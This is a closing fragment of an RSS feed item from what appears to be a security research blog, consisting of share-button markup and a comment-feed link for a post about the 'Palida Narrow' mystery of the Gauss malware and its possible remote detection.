<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fblog.crysys.hu%2F2012%2F08%2Fon-the-palida-narrow-mystery-of-gauss-malware-and-possible-remote-detection%2F&amp;title=On%20the%20Palida%20Narrow%20mystery%20of%20Gauss%20malware%2C%20and%20possible%20remote%20detection" id="wpa2a_20"><img src="http://blog.crysys.hu/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://blog.crysys.hu/2012/08/on-the-palida-narrow-mystery-of-gauss-malware-and-possible-remote-detection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
